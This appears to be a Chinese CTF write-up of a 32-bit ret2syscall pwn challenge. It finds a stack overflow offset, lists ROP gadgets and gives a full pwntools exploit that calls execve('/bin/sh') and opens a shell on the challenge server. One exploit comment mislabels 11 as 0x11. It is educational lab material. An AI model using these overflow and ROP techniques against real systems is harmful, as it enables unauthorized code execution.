【PWN】HappyNewYearCTF_9_ret2syscall

HappyNewYearCTF_9_ret2syscall

题目地址:https://ctf.cssec.cc/games/25/challenges

Author: Sonder

Difficulty: Normal

Category: ROP


通过模拟系统调用execve('/bin/sh', 0, 0)的过程,劫持程序执行流

题目分析

首先还是老规矩,看下保护情况,可见无canary,无PIE, 并且是个32位程序,接下来开搞!

分析代码,可见这里用的是gets来进行数据读取,其特征是会读取到\n所在为止。这里是读取到v4变量里,也就是4个字节,必然存在溢出风险。

简单来gdb调试试一下,看下溢出情况,可见溢出点为112

复制代码
➜ gdb 9_ret2syscall

pwndbg> cyclic 400
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
pwndbg> r
......
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

接下来,我们来想办法构造exp,通过字符串搜索,可以看到存在/bin/sh

复制代码
.rodata:080BE408 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

然后分析got表,发现没对system等危险函数进行引用。通过file可以看出本题为静态链接,故无法ret2libc

shell 复制代码
➜  9_ret2syscall file 9_ret2syscall
9_ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

ret2syscall

syscall介绍

32 位 Linux(x86) 中,用户态程序不能直接执行内核功能 (比如创建进程、读写文件、执行程序)。要请求内核帮忙,必须通过 系统调用(syscall)

之前我们常用的system函数,其本质也是进行syscall的调用。其在汇编代码中可以通过指令int 0x80来实现,但在调用之前,我们需要去进行参数构造。其中eax是我们想要调用的函数。

在这里,我们可以通过:https://syscalls.w3challs.com/ 网站来进行syscall号码的查询。

作用 寄存器
syscall 号 eax
第 1 个参数 ebx
第 2 个参数 ecx
第 3 个参数 edx
第 4 个参数 esi
第 5 个参数 edi
第 6 个参数 ebp

在众多可以调用的函数中, execve函数(11)常常被我们用来做一些坏事,其可以执行命令,我们通过如下语句即可实现执行shell

c 复制代码
execve("/bin/sh",NULL,NULL)

根据其定义,我们只需构造如下内容,即为通过syscall调用命令执行shell。

复制代码
eax = 11
ebx = &"/bin/sh"
ecx = 0
edx = 0
int 0x80

ROP构造

分析完了题目,我们开始构造ROP,先来看一下,我们溢出时寄存器的构造,可以看到eax、ebx、ecx、edx均需要我们去挨个构造。

通过ROPgadget来进行ROP链寻找,可以找到如下gadget:

复制代码
0x080bb196 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x08049421 : int 0x80

EXP编写

py 复制代码
from pwn import *

# =======================
# 基础环境配置
# =======================

# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']

# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
context.log_level = 'debug'

HOST = 'challenges.ctf.cssec.cc'
PORT = 32799

# 远程环境(比赛 / 实际利用)
r = remote(HOST, PORT)

# 本地调试(需要时切换)
# r = process('9_ret2syscall')

# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x08049421
# c
# ''')

# =======================
# ROP 相关地址准备
# =======================

pop_eax         = p32(0x080bb196) #  pop eax ; ret
pop_edx_ecx_ebx = p32(0x0806eb90) #  pop edx ; pop ecx ; pop ebx ; ret
int_0x80        = p32(0x08049421) #  int 0x80
addr_binsh      = p32(0x080be408) #  /bin/sh

exp = b'a' * 112

exp += pop_eax # 
exp += p32(0xb)         # eax = 0x11
exp += pop_edx_ecx_ebx 
exp += p32(0x0)         # edx = 0
exp += p32(0x0)         # ecx = 0
exp += addr_binsh       # ebx = /bin/sh
exp += int_0x80


r.recvuntil(b'plan to do?\n')
r.sendline(exp)

r.interactive()

注意:什么时候用ret2syscall?什么时候用ret2libc?

ret2syscall

  1. 需要有int 0x80的gadget。
  2. 需要可控eax、ebx、ecx、edx
  3. 需要有/bin/sh字符串(若没有,还的libc)。

ret2libc

  1. 相比于syscall,其对可控的寄存器要求更少。

  2. 必须要动态链接。

相关推荐
开开心心_Every2 小时前
Win10/Win11版本一键切换工具
linux·运维·服务器·edge·pdf·web3·共识算法
知识即是力量ol2 小时前
深度解析:基于 JWT + Redis 白名单的双令牌高安全认证架构
redis·安全·架构
HaiLang_IT2 小时前
网络安全与执法专业【精选选题表】优质选题参考
安全·web安全·php
JiMoKuangXiangQu2 小时前
Linux 内存:kasan 监测访问越界案例
linux·kasan
怣502 小时前
Linux创意命令组合:让终端变得有趣又高效
linux·运维·服务器
L_09072 小时前
【Linux】进程状态
linux·开发语言·c++
小生不才yz2 小时前
shell编程 - 数据流指南
linux
lisanmengmeng2 小时前
添加ceph节点
linux·服务器·ceph
Tinyundg2 小时前
Linux系统分区
linux·运维·服务器